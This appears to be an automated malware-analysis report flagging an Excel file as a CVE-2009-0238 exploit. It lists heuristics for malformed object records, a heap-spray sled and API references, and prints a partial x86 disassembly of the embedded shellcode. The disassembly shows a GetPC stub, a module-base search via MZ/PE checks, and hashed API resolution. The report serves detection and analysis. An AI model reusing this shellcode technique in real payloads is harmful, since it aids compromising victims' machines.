MALICIOUS
220
Risk Score
Heuristics 5
-
Excel invalid object access exploit — CVE-2009-0238 critical CVE likely CVE_2009_0238Excel workbook contains repeated malformed OBJ records whose ftMacro subrecord points to 0xFFFF, paired with shellcode-style payload context. This matches the invalid-object access exploit shape used by CVE-2009-0238 rather than a generic BIFF anomaly.
-
x86 GetPC stub (CALL $+5; POP EBX) high SC_GETPC_CALLx86 GetPC stub (CALL $+5; POP EBX)
Disassembly
x86 disassembly · validity: code (0.984) — 9/9 branch targets land on an instruction boundary (100% coherence)000046E1 e800000000 call 0x46e6 000046E6 5b pop ebx 000046E7 648b3518000000 mov esi, dword ptr fs:[0x18] 000046EE ad lodsd eax, dword ptr [esi] 000046EF 8338ff cmp dword ptr [eax], -1 000046F2 7404 je 0x46f8 000046F4 8b00 mov eax, dword ptr [eax] 000046F6 ebf7 jmp 0x46ef 000046F8 8b4004 mov eax, dword ptr [eax + 4] 000046FB 250000ffff and eax, 0xffff0000 00004700 6681384d5a cmp word ptr [eax], 0x5a4d 00004705 750e jne 0x4715 00004707 8b583c mov ebx, dword ptr [eax + 0x3c] 0000470A 03d8 add ebx, eax 0000470C 66813b5045 cmp word ptr [ebx], 0x4550 00004711 7502 jne 0x4715 00004713 eb03 jmp 0x4718 00004715 48 dec eax 00004716 ebe3 jmp 0x46fb 00004718 81ec80020000 sub esp, 0x280 0000471E 8bf4 mov esi, esp 00004720 8906 mov dword ptr [esi], eax 00004722 c7462400000000 mov dword ptr [esi + 0x24], 0 00004729 ff36 push dword ptr [esi] 0000472B 6815883d6c push 0x6c3d8815 00004730 e88a010000 call 0x48bf 00004735 894604 mov dword ptr [esi + 4], eax 00004738 ff36 push dword ptr [esi] 0000473A 686389d14f push 0x4fd18963 0000473F e8 .byte 0xe8 00004740 7b .byte 0x7b
-
Heap-spray pattern detected high SC_HEAP_SPRAYRepeated 0x41 (A) bytes foundDisassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'inc' is 95% of instructions — a sled or padding/filler run, not program logic).
-
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
Open this report in the interactive analyzer, or submit your own file for analysis.